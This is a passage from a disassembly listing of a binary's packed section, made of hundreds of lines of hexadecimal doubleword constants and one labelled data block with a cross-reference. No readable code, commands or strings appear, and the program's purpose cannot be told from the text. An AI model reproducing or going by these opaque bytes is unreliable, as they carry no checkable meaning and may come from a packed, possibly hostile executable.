88A6BE7Dh, 1F984678h, 1A750803h dd 0B17EFF85h, 0F3F3E39h, 0E85DF14h, 0D2497453h, 4B91FC19h dd 0B9140143h, 486ACF12h, 6C90EE66h, 0FCCE49FFh, 54583B11h dd 0A714C73h, 27C18140h, 10F9143Bh, 3FE93626h, 22D252D2h dd 5C3B3117h, 2111D415h, 0C522428Ah, 0C2AC835Eh, 0B683BCA4h dd 13BA9060h, 0EC097424h, 1E95B4Ah, 0E6F4A7DEh, 4C085C2h dd 0B528AA1Dh, 8B69951Ch dword_4E414C dd 7FF621A8h, 68EBB72Ch, 0CC1F2D1Ah, 93879038h, 1A013110h ; DATA XREF: .packed:off_43ACE4o dd 0E547C26Ah, 0A7E9EDEBh, 0E662B75h, 0D7ECF28Fh, 898889C4h dd 100C90C8h, 186414C8h, 20191C32h, 3792BF17h, 0C449C8B0h dd 0B6A5E78Fh, 0E8A5DE0h, 742583B8h, 0FDDEF85Ah, 0C3F28B9h dd 0D23F123Fh, 0F9804C07h, 0A2E562Ah, 7A783F5Dh, 0EF0A5B68h dd 0E2CA3A09h, 575F8992h, 0A8D9786h, 74504620h, 99895308h dd 8DA9A71Ah, 13EB0183h, 88173145h, 6341A829h, 4712464Eh dd 0EE0FA0EBh, 5F0BCA2Ah, 28101D15h, 12340BF0h, 0D3D75C8Bh dd 0BD70AF4h, 854605D5h, 90C802EBh, 6BE5B627h, 0F7AD1029h dd 210AF02Ah, 58F87D07h, 0A16B3980h, 410675B9h, 4CF90CBEh dd 2C60110Ah, 0FB80198Ah, 396C5D66h, 94C4C2Dh, 1C3D6779h dd 8A2CE12Dh, 711C6041h, 0FF49D8E7h, 7DC83A00h, 745D3C1Fh dd 0C939771Bh, 2AD8163Eh, 0F08AE9E7h, 7AB0D93Ah, 7F30D8E8h dd 3289A813h, 0CEB375Fh, 3A023EFBh, 0EE6B7518h, 7D02FFF1h dd 32824254h, 63F8A2A6h, 97D24A2Bh, 3BF943E0h, 51CEC4E6h dd 1B4917FFh, 298CBAC9h, 5D8D12D6h, 0FF999AF9h, 18610E54h dd 438A020h, 8A1C7418h, 0A2D8809h, 10EB0682h, 40B4C215h dd 20900789h, 0E2EDE0EBh, 42EEA8Ch, 0F5D01EDEh, 3A088A07h dd 8019C7CBh, 741A3816h, 6F994B96h, 4EBF0B1Dh, 0C4051924h dd 36F18260h, 7DB4165Dh, 62076C3Ch, 106A8A3Ah, 741E7FBCh dd 124C8A24h, 0C605F2D3h, 34E8EBB9h, 3011F1CAh, 593F4ECBh dd 0AE692905h, 0C4514DD8h, 0B40DD920h, 0A7BE0CF8h, 0A40C4C4Bh dd 53A528AEh, 944162B9h, 1204431Bh, 4A6AE3CAh, 0BE943EFCh dd 40E8BF26h, 0BE564574h, 16B218E0h, 76910650h, 0D8032F12h dd 0DA46E207h, 61995E49h, 321B8868h, 8F1190BBh, 0A038B357h dd 1CC04FBBh, 40C6CE8Eh, 84F87EC4h, 0EF39C5E0h, 5329EC9Ah dd 0ED749140h, 0DAF40633h, 34C66203h, 9CCF895Fh, 0E0A11695h dd 0DC6FF4E4h, 72560DCAh, 1348D41h, 23B4754Dh, 0CA54673Dh dd 0B4680A24h, 6D155A81h, 965E30E2h, 0A3D28D6Ch, 0E7180856h dd 2AFEFC90h, 0B8705528h, 35AE104Eh, 0F89322D1h, 0E51C4822h dd 253D9219h, 8923291h, 0DA35D02Fh, 0F6890A21h, 0F05932D5h dd 82D3824h, 49FB5711h, 458A5D45h, 7E8D2187h, 0CA8A201Eh dd 913F218Fh, 0C604ED28h, 0C62E0E24h, 30C2F821h, 271C4E5Fh dd 401203F0h, 4B934074h, 8D0989ACh, 0C6D7CCBDh, 6D284779h dd 71A72470h, 0D6959E46h, 39F80AB0h, 0D57869E0h, 0CEA06D3h dd 0BB4B1858h, 0C38B11A0h, 69E4D6CEh, 3833D930h, 0FE4BB312h dd 8CEFD534h, 330AFFDCh, 49D8738Dh, 0A13086Ah, 68168CBBh dd 0CAC89852h, 784C1257h, 0DC39CAECh, 0AEF7BD70h, 0FC1021B7h dd 45672CC5h, 567B1477h, 0F6A47111h, 0F215625h, 207DBD80h dd 29787E55h, 511F10D6h, 5D240ED9h, 0DCF10033h, 0B2DB8959h dd 0EC143221h, 0F019C012h, 89C42790h, 0BC160703h, 0B01C3208h dd 6AE818A1h, 0B416902Fh, 0B5AA08CCh, 0FB0236AAh, 2846B885h dd 41453F8h, 4A2EC481h, 2233CA0Dh, 0C3834484h, 39098140h dd 0EFF8423Bh, 0FC524966h, 0C8F2D0B1h, 28B77F64h, 0F9C6057Fh dd 2C4544AAh, 48A5F357h, 0B6AB1D1h, 2DFF8A6Bh, 0FF528027h dd 0B420C534h, 487625E8h, 24FE8253h, 4E94CEE8h, 9913D5C2h dd 380BC816h, 0BBF3CC59h, 0E22C1826h, 85220204h, 0EA29FF38h dd 564AA7F0h, 0C1D320EEh, 89B806E0h, 5D98393Dh, 0A7226475h dd 2CCAAE52h, 0D24C0550h, 0D190AE65h, 7DDCBE57h, 0C87EE1DBh dd 530C5640h, 18DDECA3h, 0E81D3489h, 12B2AB0Dh, 0B408BF13h dd 3BD603C2h, 0DC2004EEh, 10A0254Ch, 255B9985h, 0E8490BDEh dd 0D9D8A3E5h, 11402883h, 70F47F6Ah, 3CA1BFDEh, 7B18458Dh dd 0A6DDCFF0h, 0C757C131h, 6FDE7405h, 1AEB8531h, 3711C444h dd 82EAA620h, 0FC876820h, 2100B9FDh, 0B45D2588h, 9DFC471Ah dd 5445E45Ah, 68538A3Dh, 0B45D257Fh, 1D0D5117h, 818D8A7Ah dd 4CDE781Dh, 5CA117C2h, 1E086804h, 2969938Fh, 0A15112DEh dd 0BE1A4B69h, 0D2767B84h, 9488282Bh, 689047E0h, 8823B852h dd 80E287DFh, 5F7C14DEh, 18E11835h, 0C4242915h, 1C68E098h dd 64A7E142h, 431C68E0h, 0E094C4E1h, 431DD442h, 8404433Eh dd 8028E08Ch, 21AADE44h, 8CE240F3h, 20081DE0h, 0A021F4E1h dd 3659F91Dh, 0EFA95F7Eh, 99390604h, 1273CC0Ch, 87070144h dd 4A22FC1Ch, 14D91510h, 22DB44C4h, 38692F18h, 0E4834296h dd 0A33A19B6h, 0F324C8C8h, 0CC68EC48h, 48840AFDh, 200569DBh dd 475D1D10h, 237024B5h, 8E074256h, 0DB3CA418h, 11F53828h dd 101AF108h, 0D0E8DB3Ch, 38A2DB47h, 0A696A63Fh, 0CF081094h dd 321F113h, 0BE2178CFh, 8EE358B4h, 6A5B98B4h, 0FB975C7Ah dd 7E562553h, 18880204h, 1299A5AEh, 0A303E4E7h, 230B53B8h dd 0DAE12C10h, 0C051B2EAh, 0DF28A33Fh, 408D4A25h, 800E2849h dd 760D8928h, 4413A1C4h, 1A225013h, 0DF5197C8h, 0A7AEFC44h dd 0F3FCC813h, 22E4C0A9h, 4A599028h, 0D1068BFh, 0E8283AD4h dd 0A2E447D4h, 0B2A73504h, 0A43C5459h, 8D8D12CDh, 1B4BDF3Eh dd 0B70C9C9Ch, 0A55D5A92h, 0C80D4089h, 962E1745h, 49D21341h dd 9EE6FD52h, 0B3510635h, 10E47906h, 333D769Fh, 0F49B896Bh dd 41F80620h, 5F332FFCh, 590FE983h, 7188222Fh, 2031D17Dh dd 93199DDFh, 9B346FF4h, 0BCC478F8h, 76394DE3h, 0C2B20D11h dd 1A64D2BDh, 4EA2DF8h, 58EA2DFCh, 0B7095ACh, 410F0555h dd 8A0308E9h, 9F44D25h, 7A06F894h, 0A1051CD2h, 0D124CD04h dd 5E7C02F7h, 5F23D801h, 64DB333Ch, 0BDE1020Eh, 85D0E93Bh dd 8116FE83h, 0A56DA89h, 58F69D14h, 0CA64E410h, 58E7EFE8h dd 3DC4E627h, 4197E7Ah, 70285680h, 448D699Ah, 0B716C57Dh dd 5D89B16Ch, 25AF54F8h, 0E06104D0h, 1C530FFEh, 0D1F1DFB9h dd 0BD2815BBh, 0BC52C810h, 544DE2A5h, 2BD86D62h, 0AD9F6EC3h dd 8CC4DAB2h, 9D83F202h, 0DEB09021h, 0C7D475C1h, 863D4880h dd 22D84099h, 734C6B52h, 59DE40FFh, 3450DB69h, 2E95833Eh dd 0C53CA241h, 24F4A924h, 8C5FAEF3h, 744EF07Dh, 0B09342F9h dd 2B8CA59h, 0EB59AFB2h, 67088705h, 0DDAA8B8Ah, 8935B351h dd 0C557C412h, 0FD740835h, 711E6488h, 0BD144918h, 4652DC36h dd 0C8646516h, 0E5983513h, 2D548614h, 30C2E071h, 0E420687Bh dd 0DC152819h, 645B85A5h, 82A3D3Ch, 2D02EC3Dh, 7A40BD80h dd 2B9AA3AFh, 3B6DE85Ch, 0B9B140A7h, 0DD0A68C0h, 885065E5h dd 5052FD74h, 456B8426h, 1C053AD8h, 6D28E1B5h, 2CFD4FF8h dd 595DE0EAh, 50A740Ch, 1A4317D0h, 52FE8808h, 0C6597919h dd 0ECB6FB6h, 11284708h, 0FDF410C0h, 0A415E88Ch, 0EC2DFE42h dd 0CA82039h, 944384C4h, 10F8D86Ah, 9C858498h, 3A958D4Fh dd 9E80FC2Ah, 2D901E29h, 27C424AAh, 0FB772F9Ah, 2FB44119h dd 0ACFC3B56h, 0E69C27DCh, 1801CC26h, 0F815B4F9h, 899A62E6h dd 815FE498h, 9A6CB4AAh, 0D4F483B4h, 448B6477h, 0B35327ECh dd 6CECA802h, 0ADBB60FCh, 3164915Ah, 4D50800Dh, 6912727Ch dd 934024BEh, 0E325E4C7h, 445F4268h, 0F8E04AE0h, 0B84DCC1Dh dd 48688834h, 0A4B11F48h, 395938C0h, 7585A05Dh, 1B53521Dh dd 0C4B9324Fh, 0A18EBC33h, 0DA513425h, 0E149F5E9h, 0D4C55304h dd 0EB93359Ah, 1C89FBC8h, 9CB4A499h, 38812E94h, 5C2AF82h dd 8CC86657h, 7D89D409h dd 505DA5DCh, 16147C32h, 0FB977386h, 1206A605h, 4544F3D8h dd 24E892F4h, 45423EF3h, 1239F94Eh, 358EC3E8h, 9ED84D12h dd 0C60B2832h, 2D014AB0h, 0D6FF1E6Ah, 2B28F5EBh, 0DC7045A4h dd 0CB56F21Eh, 14FE4734h, 47142D10h, 0F0AB03Bh, 0B2A75186h dd 89FFD080h, 0CD939B01h, 0EA608704h, 73E500Dh, 0A2E5CAB7h dd 9404ECBDh, 0CB504449h, 9C5B448Bh, 14E4F899h, 463B4795h dd 0EA4AAFDAh, 0AEE9707Dh, 0C9DAD53Bh, 8F7954D3h, 9070B37Bh dd 0B1D4C9E4h, 45365346h, 133A776Bh, 0A45AA269h, 0F9C875DBh dd 5F12E613h, 3AF8C474h, 44642BC8h, 15E1252h, 0B0895E2Dh dd 71BD3EA8h, 2C87C8ACh, 66A8495h, 614EA156h, 864E73FBh dd 0B9735F74h, 2BA5CA21h, 6E522F83h, 0DD91B14Eh, 43733E74h dd 0E224D824h, 0DC56E4BFh, 101F7C88h, 0FF48B157h, 7495E008h dd 0F34413A2h, 0F61951B2h, 0FFE98156h, 315F47B1h, 0D7AD3E5Eh dd 3425CD90h, 5D2AE12Fh, 0F3E46ECEh, 0A04C0859h, 57793CCh dd 0A9A483C7h, 0AD338C0Bh, 9FB3D4D0h, 0A410CCB2h, 0C8FA911Fh dd 59E4B911h, 4925A850h, 51058B67h, 1CFC6CA4h, 8545BC96h dd 99E5F10h, 8EC85F68h, 923FE6Ch, 9B62C73Bh, 0F47D6048h dd 6A264CB8h, 296F6032h, 90E4F7FCh, 8C62B3FAh, 44BB89FBh dd 8432D858h, 44E6AE0h, 6B2C7BD9h, 295F68AEh, 0B92C22EBh dd 30F1995Ah, 0D650880Ah, 85E4D440h, 0F888D090h, 210FD079h dd 17FCF1E0h, 8427CF8h, 8C4F821h, 2689493Ah, 741B2B3Bh dd 0C1104438h, 904B52BAh, 0B216CCB2h, 18D0580Dh, 23CC54B3h dd 2CAD4B5h, 626AB955h, 0D17D24B4h, 475C2C24h, 0C60E6C1h dd 0C3E020E8h, 5C250E90h, 0ECD15824h, 8DF69FF1h, 7B48FF49h dd 6AFA1C74h, 0C3A45799h, 241AE33Ch, 499CDC20h, 5E891C18h dd 8B3EC604h, 0C2388BC6h, 7235A08h, 0D980160Ch, 15FF156h dd 0D2083C82h, 0F04291h, 0FB2E74F6h, 541A5602h, 0FAC66920h dd 0BF24FE9Dh, 0B2C60397h, 894CD602h, 0B533A87Bh, 0C25D0B90h dd 89681068h, 74854927h, 0AA85206Bh, 832A5991h, 2670A766h dd 4065E395h, 0FD46A635h, 7DD9216Fh, 10B281Eh, 9D0F7FF8h dd 0E3DC4BC3h, 3D9F5FEh, 9C50CAC7h, 47506BFh, 58EBC032h dd 505C2CD9h, 934BC84Ah, 75C0FB58h, 28C18A0Fh, 76FF0788h dd 3BADF6D6h, 1AEB3607h, 0A982C6C6h, 8F8C10Dh, 1B072088h dd 1C480265h, 73662403h, 0DA8A37DDh, 0FC5914FBh, 5F25B03Dh dd 90A1A47Bh, 0F84D8D06h, 1744D661h, 54D2E201h, 6E68BB67h dd 0DC130829h, 0A54087E0h, 503C4595h, 0FAA69415h, 0EC10D0D2h dd 0F8959D8Ah, 8B18826Fh, 0C33E84CEh, 0B9409359h, 149651E4h dd 0C97A0811h, 7C55A85Ah, 7F082A3Bh, 3938788Ah, 66D89F8h dd 66A6717Dh, 35089CEAh, 0A1FCEC5Fh, 4EB35059h, 57090C1Bh dd 0AB5EE2BCh, 0CD1FD909h, 615BA322h, 8492C321h, 0C328880Dh dd 84E3D5A1h, 6442CC80h, 0C3296B3Ah, 600C1469h, 7F33BDC6h dd 0EC2B0755h, 5BA45E43h, 58788198h, 0B838A58Ah, 0BF2A4207h dd 98FA70E9h, 0F10090Ah, 51DA338Fh, 8D185D05h, 20870843h dd 322587E3h, 0D04A561Dh, 0E010231Bh, 0FCDFB091h, 9413F55Eh dd 0CA10C010h, 0D86408C8h, 68FDC034h, 43702030h, 0D5833FA4h dd 38FA03FBh, 8860F96h, 9A406846h, 3A06E1BEh, 0F7A88518h dd 4F6A56A2h, 662DBB42h, 34086E60h, 4D732468h, 7B215336h dd 2A186436h, 0C9B509B8h, 1E5E2B21h, 0D33B3921h, 0B8E0215Ah dd 0DE23B49Ah, 16BDAD30h, 2ACA08A4h, 6A422A56h, 8B629444h dd 34407611h, 6A11068h, 1D34BB43h, 0D6362E8Bh, 800C73ACh dd 0A47FBD0Eh, 3170A216h, 150B4344h, 7F6BAC68h, 0BFED3FE3h dd 863CF840h, 0F6D51ECBh, 17104663h, 0C70669BDh, 7D2B1D88h dd 0E88C7121h, 55B48057h, 32ED0AFDh, 4EC2952h, 0EF1C19C0h dd 8686B40Ch, 643349BFh, 2C402694h, 608A9D61h, 0B4DAE984h dd 5ACC77AAh, 0D4104CD9h, 39D00E52h, 0A6C00CC4h, 0E01CF742h dd 0D6BB3AAAh, 0D5C0112Bh, 198A4164h, 868D8C7h, 0DC2B5CEAh dd 6A391928h, 0F3A8AA02h, 0E2660F86h, 0CA17CCCAh, 6F6BC80Ch dd 0E4C8C871h, 0F819DCF0h, 0DC50CD86h, 0D80C9427h, 261ED12Eh dd 0C3E137DCh, 0B3A1A468h, 0CBB7282Bh, 6019F44Ah, 0EE2B4DF0h dd 0A018F039h, 0FC1CFB86h, 1FF856A9h, 9410F823h, 909021EEh dd 73B8E7B8h, 8729CC5h, 5E2C8CE7h, 0EABC0D89h, 0EB041448h dd 1091110Eh, 8827B296h, 57568B10h, 5F13F8D1h, 41F07A8Ch dd 2536FFDh, 6A1C8CFBh, 14613C7h, 0F8B589D1h, 1F70242Ah dd 78132F13h, 0C72A1840h, 760A68C9h, 720C4241h, 75918209h dd 52797F11h, 0B7530243h, 0FBA8C0C4h, 6EFD1089h, 0A9FBB5FEh dd 4B53A12Ch, 0FC8D732Bh, 0B8DD232h, 0C0717F04h, 4374A9CFh dd 3454690Bh, 223B65FDh, 0FF50981Ah, 4048A46Ah, 5437BA9Fh dd 47736F7Dh, 9B415FB9h, 5E94F178h, 0D2077558h, 0C213C082h dd 6596539Dh, 682F01EFh, 9D2B20CCh, 0B931FEh, 0FC6831DCh dd 665021C0h, 0AA2F7E89h, 5E73C014h, 21DBD83Bh, 25A45339h dd 0DF030603h, 42E6EC68h, 1F4E0FEEh, 0D3859714h, 6E414462h dd 83C1C013h, 482A8B98h, 320BEA84h, 753BEBDBh, 627AC592h dd 96A3FC4Fh, 92042040h, 2A5656A3h, 742B1C20h, 2ECC21D6h dd 1B31210h, 8AC8CC56h, 0BADCC34Ah, 0F8B0E583h, 8684898h dd 0FCD22168h, 6454326Fh, 0B4483D16h, 0E4E0811Eh, 53E69720h dd 30DF4084h, 240E7A65h, 0CA3482E0h, 20045A32h, 0B2E51EC8h dd 90074A12h, 4BE0C1DDh, 0DFF58103h, 0DDCCC6Dh, 0F176702Fh dd 74C10A44h, 31152118h, 9155DD4Eh, 5F796835h, 0C0D1D31Ch dd 596EEEFFh, 553A343Dh, 0B80A7829h, 0AD366AA7h, 2CEC4AC0h dd 13458A12h, 894DCDA9h, 8928C83Bh, 0B1887F82h, 77C90955h dd 868A4A50h, 81808F9Ah, 0D44539F4h, 0A735914h, 9D734DF1h dd 0CC86F212h, 5B0FF458h, 44C1E586h, 7FADA853h, 472030Eh dd 12EB866Ah, 75022015h, 1208E9E9h, 9993FC01h, 94D8885Bh dd 7699DC58h, 80960482h, 9B51C12Ch, 3B910C94h, 0E4B8DF50h dd 8B187614h, 0CB7573F1h, 7D8DD101h, 2E9C1F0h, 0CA07AB68h dd 7503E183h, 8A980BA4h, 556E370Eh, 2F9C060h, 3F73E180h dd 8803E21Fh, 0F124ECD9h, 7041E90h, 0C5D010Fh, 293E297h dd 0F14032CAh, 0F204ED2Eh, 0F46060Ch, 86912951h, 0F633033Ah dd 91024138h, 7969EE32h, 0EF16DF0Ch, 11F760Ah, 0BE02B745h dd 0A1EC3544h, 54808ACAh, 0BD509C24h, 0C7E02FFAh, 3B467417h dd 5472EC0Eh, 48767DB6h, 5FA0D0B5h, 6987E714h, 2A10464Eh dd 90F1CDC7h, 395E30E1h, 2B12734Ch, 3DDA0ADEh, 3F0EB370h dd 0F1A54E76h, 0F587DDA2h, 0AA698256h, 4D285590h, 8824CEEEh dd 0FF614B06h, 0F6537835h, 2426628Dh, 92F5057h, 0E0130224h dd 53B04980h, 44A54149h, 6E79A1E2h, 0D896407h, 0A252030Dh dd 10491CC4h, 14AC4B9Fh, 9295A893h, 7C6901B8h, 0E1116677h dd 454E066Fh, 0EC2F7A1Ch, 8D12E0C6h, 4F36E674h, 0BE886456h dd 99FBB749h, 3C8644D3h, 0FF88B8E8h, 75CB3B0Fh, 0F7C88902h dd 0BA033861h, 0DC51AF68h, 562B3297h, 0D347945Fh, 3BA12CC9h dd 3B74C628h, 23D5024Ch, 21AC2157h, 0ADE414EEh, 403FFDD2h dd 0BBA5140Eh, 0F5105F13h, 52E8F4BBh, 800504C8h, 0C4AAE0A5h dd 6ADCC936h, 4A582CFDh, 0E1BD8D0Ch, 8F616823h, 66ABF31Bh dd 4661AAC9h, 84682103h dd 863C0FA1h, 0ECDCB8A2h, 0F167FBFh, 0F1B505B7h, 914F2337h dd 0B1C06820h, 0FC6F644Fh, 0DE10408h, 9005BA01h, 491742C3h dd 0B9644664h, 78E748E1h, 5221982Ah, 9E4EBDE0h, 9F3047A4h dd 22761E29h, 7C67C762h, 1C582C7Fh, 6FFEDA0Fh, 4B9FB7Fh dd 6427204h, 0BD8483D8h, 0A88CAA70h, 0ABE67D1Fh, 9D97B557h dd 46A7A77Ah, 0F01E9DF3h, 55D90C4Bh, 0B3E81A93h, 265323EDh dd 4351AFC5h, 3DBDA8BCh, 40755002h, 8AC3858Ah, 8B02C30Fh dd 0C36589F4h, 13CB84F3h, 62224541h, 3E79179Ah, 7DB3C909h dd 72F82091h, 0E2C41055h, 35EB1C05h, 8B494C81h, 0E527509h dd 0A2C2811Dh, 1A4918EBh, 121201D5h, 872CB11Ch, 0CBF0B60Fh dd 4B076655h, 0E80281F6h, 6BC6A03h, 610EF4A2h, 0FA8C0F02h dd 6B29A835h, 157448D8h, 0B0698B75h, 2589789Bh, 1E5A80FFh dd 23068D55h, 29BF5C91h, 26BCB101h, 0C94BC4A1h, 11790845h dd 0BA462B16h, 0F077CD09h, 52020030h, 76DB859Ah, 0FB508B33h dd 7E2603DDh, 1FACE108h, 2026856Bh, 61246692h, 77785057h dd 0B35A0334h, 5A196BF5h, 8050C31Eh, 0F7853824h, 2159475Fh dd 0B31790Ch, 0FE8C1E8Dh, 1434AEFAh, 37999C03h, 721570Bh dd 95B6CE6Bh, 0F963042Fh, 73BA4339h, 6F515587h, 17E149Ah dd 2BF0163Bh, 4C1FB313h, 0A340CACh, 0CC1E2AD2h, 0FEF1FCA3h dd 0EF5652CFh, 164F5B4Fh, 0EB0CF444h, 2E247948h, 0F00E3F76h dd 4787975h, 52C1438h, 78806050h, 7324FEFFh, 4E341E29h dd 1B0B07D9h, 3F47891Fh, 9B084B9Dh, 1DB5D24Fh, 0FE85B996h dd 0E1EBFF40h, 0CFDE0257h, 2853C394h, 98E912Eh, 82C10356h dd 0B1047753h, 0FA0D47CDh, 0C7083024h, 0F3C25D8Fh, 14AAE595h dd 8304202Bh, 9976FDFFh, 44EF01Dh, 3BD23309h, 8A6800CAh dd 773AFF41h, 3C193BC2h, 1157F7Bh, 0FE4C75FAh, 0A48852C8h dd 77C55124h, 0C0458BF0h, 5438152Bh, 0D4B01024h, 0E7F38483h dd 89EA6501h, 11880856h, 1552E3EDh, 0FE3D4217h, 0FA1F1889h dd 7334C73Bh, 38304218h, 53905EBh, 8730C7Eh, 0CA0F4557h dd 5294F54Fh, 83858053h, 7466F404h, 28722249h, 1B05C785h dd 8AFF488Dh, 33D1DD11h, 3106FD0Ah, 7C288F4h, 25B67251h dd 0E8D0465Fh, 0BD09D008h, 0C180115Eh, 0F1C3108Ch, 1A67C991h dd 0AFE4D4A9h, 54C5780Ah, 0E3653843h, 8A25AE53h, 1677BF22h dd 0CB4845A4h, 847160Ah, 2B1377ADh, 732D0BC6h, 0D3D8D784h dd 4FB1322Ah, 3E9FF04h, 0DD5061CEh, 859AD219h, 6C626F43h dd 44F32BA7h, 765656CAh, 0A9610A24h, 9806915Eh, 94D0B8CFh dd 110C596Dh, 70897D8Bh, 6D1A1FCFh, 70F0B661h, 7628EC32h dd 5B81303h, 43478D2Fh, 12BBDC25h, 0C97921DCh, 16E47FA5h dd 16254EEBh, 830A4595h, 811B3DC0h, 0ADB85935h, 866E40DAh dd 7CC98094h, 3EB5ACE8h, 66174876h, 0A3AFA374h, 0F8674450h dd 61F6B940h, 22085E8Bh, 4039D97Ch, 806A032Ah, 0E184FF60h dd 7787431Ah, 1DFB6224h, 1D2B68AEh, 6CBBB5A0h, 592B9E26h dd 78E9F914h, 2212C7B2h, 8C22468Ah, 9C17251Bh, 64BB56B6h dd 0CCB7CA4h, 7C37661h, 0C01805F6h, 0BCFC094Dh, 90D800Ah dd 0CB0016AEh, 0DB5D6851h, 2029140h, 0C35920CAh, 548BC151h dd 17964403h, 562948BEh, 0B9350610h, 0A562E18Ah, 8540BE02h dd 97BBBD10h, 0F966E757h, 0AEB2D349h, 0A092CE17h, 456AA2D1h dd 0AE9155DAh, 0DD1A4359h, 0DDAA63CCh, 21EE1453h, 7A6A5013h dd 0D333044Fh, 8AE825A4h, 237E9455h, 0CA0BFCACh, 872A7861h dd 1808A710h, 0A05D490Fh, 0B81446E1h, 0ACCB4F4h, 28D35057h dd 604640Eh, 941C0C10h, 4570B674h, 4CDC305h, 5966FB85h dd 0AE56E4C0h, 0DE09EE18h, 96FBE526h, 0A159C5ADh, 0C8E221E3h dd 0F38656DDh, 0D920E285h, 5995E485h, 0A4E290E3h, 0E73CD734h dd 0E4F65633h, 0E2D35638h, 56D912ADh, 0B0BC1093h, 0B9410C5Ah dd 0E86A5D35h, 0ABE0F257h, 12766CBDh, 0ED3004B8h, 1684935Bh dd 5EBE2DB4h, 0A4C257A7h, 16BFFC59h, 0C1CF454Bh, 8113C210h dd 113D2BA2h, 147EB57Dh, 6FB90B17h, 285CBB09h, 0EA30AA24h dd 6CFA718Dh, 2C808884h, 906A80E0h, 4268A994h, 69955746h dd 0C3792DD3h, 0D7B7E64Fh, 2D9D98D9h, 0C672106Ah, 0CFA8307h dd 0ECDD4374h, 0D1464B18h, 4F468498h, 2C3584F0h, 748150A7h dd 0B0EB303Eh, 5ECCE3E7h, 12AEC6ADh, 8503C844h, 753F720h dd 9751212h, 8329F4B4h, 38132464h, 4B20A459h, 0BBD25E49h dd 606802EFh, 70A9D24Bh, 0D64F3D24h, 5C7B46EFh, 0D42B31F3h dd 54271327h, 6C10EC66h, 7C40F356h, 7170BE30h, 0FD683C6Ah dd 10A34FA0h, 0B1EFFC3Dh, 0DD413CC7h, 0B6C62868h, 101A317h dd 2B993032h, 0F6F8D1C2h, 640C60ACh, 0F37A8B89h, 30441646h dd 640AA811h, 0EA2D0C20h, 7A0B7C19h, 0DE804286h, 0B7B090A1h dd 2DB464A8h, 0BCC19EAh, 8823867Ah, 77163AF1h, 0E0E1101h dd 3BCE64Fh, 56D88B40h, 7C55846Ah, 0ABECEF8Bh, 0C4FCBB84h dd 61A7919Eh, 0C3EC38E2h, 4F53995Bh, 0C5E91388h, 85FCA656h dd 0A24E850Fh, 50CC1350h, 2860AECDh, 63F19D5Eh, 1702478Ah dd 60FA0C12h, 299C6882h, 0A454795h, 4416DB33h, 0A4C8EA53h dd 9D03786Ah, 0C013508Ch, 0F85AD99Ah, 0EBF524FEh, 520FFE4Ah dd 5D41CC62h, 0CAD1FAC8h, 26A1FC5h, 0CD724403h, 1BEFE459h dd 0E93A6A6Ch, 868D5BF0h, 707A2FF5h, 81F9CCA6h, 9611C44Ch dd 0F84E40FFh, 0A0BF6274h, 3EA18651h, 53858D77h, 348029EBh dd 27EABF60h, 7150C4A9h, 38817C05h, 0FC20C224h, 8081F454h dd 0C027E1Fh, 0EC441819h, 0F0283AB2h, 7941CC77h, 0D819BD15h dd 0C5352A1Eh, 10D736EAh, 94B55971h, 0CFA688A3h, 53B1D0C2h dd 8BEC1544h, 3A6515Ah, 0C830562Bh, 318359E0h, 55C22A1Eh dd 5BE92829h, 0E2A864E4h, 3BFE8318h, 5E1F884h, 0EE5A78FCh dd 25594629h, 0F6DF3296h, 53DC1668h, 0A2DF67F3h, 454B9DB4h dd 0A1DE1193h, 0A75453E0h, 4614E195h, 0E6ABB93Eh, 0EDF4A540h dd 88107827h, 0B778EBAEh, 0C5DA8158h, 45D90BCEh, 37500C5h dd 5359EB56h, 57963A93h, 748F9CBBh, 0D210C2A0h, 0C0D43A70h dd 0DBEC3EE1h, 8CE727AEh, 60C95363h, 280A28F4h, 0E5590F52h dd 287918EBh, 491D2BA0h, 57892B14h, 17EAEE54h, 148DD28Ah dd 225B4C7Ah, 7046FDCCh, 4816F6CAh, 194E0911h, 139652F4h dd 2417CBBBh, 6014D46h, 6EEBDE7Ch, 9C964F78h, 0CA9D05D0h dd 544D315Bh, 3910090Fh, 0F41D129Dh, 281D216Ah, 24B84552h dd 3FE91C75h, 0CC10A19Ah, 5422A4FDh, 0CB25F359h, 51459889h dd 1A05A08Bh, 0D1A80B38h, 0F3DE3C1Dh, 1FA6978Dh, 0F4C0A552h dd 3290A166h, 0C3B18EAAh, 5EFB2256h, 27E93295h, 0E18C8C97h dd 788F5E8Bh, 66BDCB5Fh, 0FA60251Fh, 5349074Eh, 24FC925Eh dd 0A232578Eh, 90BE8330h, 683B0901h, 2C4833F4h, 0D9B5FE60h dd 0C418C7AEh, 5F5BA935h, 0A5885A38h, 0BBFB4825h, 0E28FED4Bh dd 33531160h, 0D744890Eh, 519DD91Eh, 64442398h, 0B2D62A10h dd 0FC44B2Ch, 615ED02Fh, 2201B0C2h, 0B4B8825Fh, 13A5EE89h dd 0A1341CA1h, 0F02F43BBh, 135420CBh, 6192564Dh, 853C5D94h dd 341068C4h, 32488BDBh, 8AE7FD8Ch, 8F354C3Fh, 3C488846h dd 334018CEh, 7C282700h, 0BD606AEFh, 0A068A498h, 1A292E4Bh dd 16A87EA3h, 9E80EBD1h, 84FFFEFCh, 65967C76h, 45831C59h dd 0F768096Ah, 81D16442h dd 7B45848Dh, 624043A3h, 0CF411A04h, 470D3AD0h, 430224FFh dd 3122954Fh, 0B209043Ch, 0EFE4448h, 69792171h, 0D6261633h dd 35E3192Ch, 0C1928D99h, 76EDEA02h, 5BADA0DDh, 0D26FA22Bh dd 0A4C8C008h, 13DE1110h, 32FEACBFh, 890AE3DDh, 0FC116225h dd 0B208C996h, 46A0123h, 303CC06Bh, 0B3DAD0ADh, 8A37F490h dd 0C16FEB20h, 3E2AF0BEh, 98AE4B16h, 0EB49303Fh, 6232DBBCh dd 0EE541E68h, 4A086802h, 45131450h, 7B147A58h, 0B840A211h dd 85EE643Bh, 76A6F7AAh, 528CB744h, 79529335h, 7CF73B80h dd 5229BEEDh, 4C0CAA1Ch, 36A6176h, 9D885031h, 1464D354h dd 0B350550Ch, 24DA44D2h, 65361A97h, 0EB18053Ch, 6208A257h dd 8F0EC30h, 0BC3C7ADDh, 69F18C21h, 171A384Ah, 528CE6D5h dd 0A184EFF8h, 6B5D99D0h, 2985D0F1h, 50E2968h, 28D35857h dd 0BE480F6Fh, 0BD8B13B2h, 0E70C218Ch, 0BF53C920h, 0CFBDCAB3h dd 928C4FDCh, 0BE2B0ED8h, 91120640h, 1AF8BC0Bh, 49686A1Ch dd 344D2F04h, 0F524D015h, 0C2C3C71Ah, 422734DAh, 0E028A5A9h dd 0AC568BAAh, 28277733h, 62C89C31h, 1B5A23B7h, 0B442FE5Eh dd 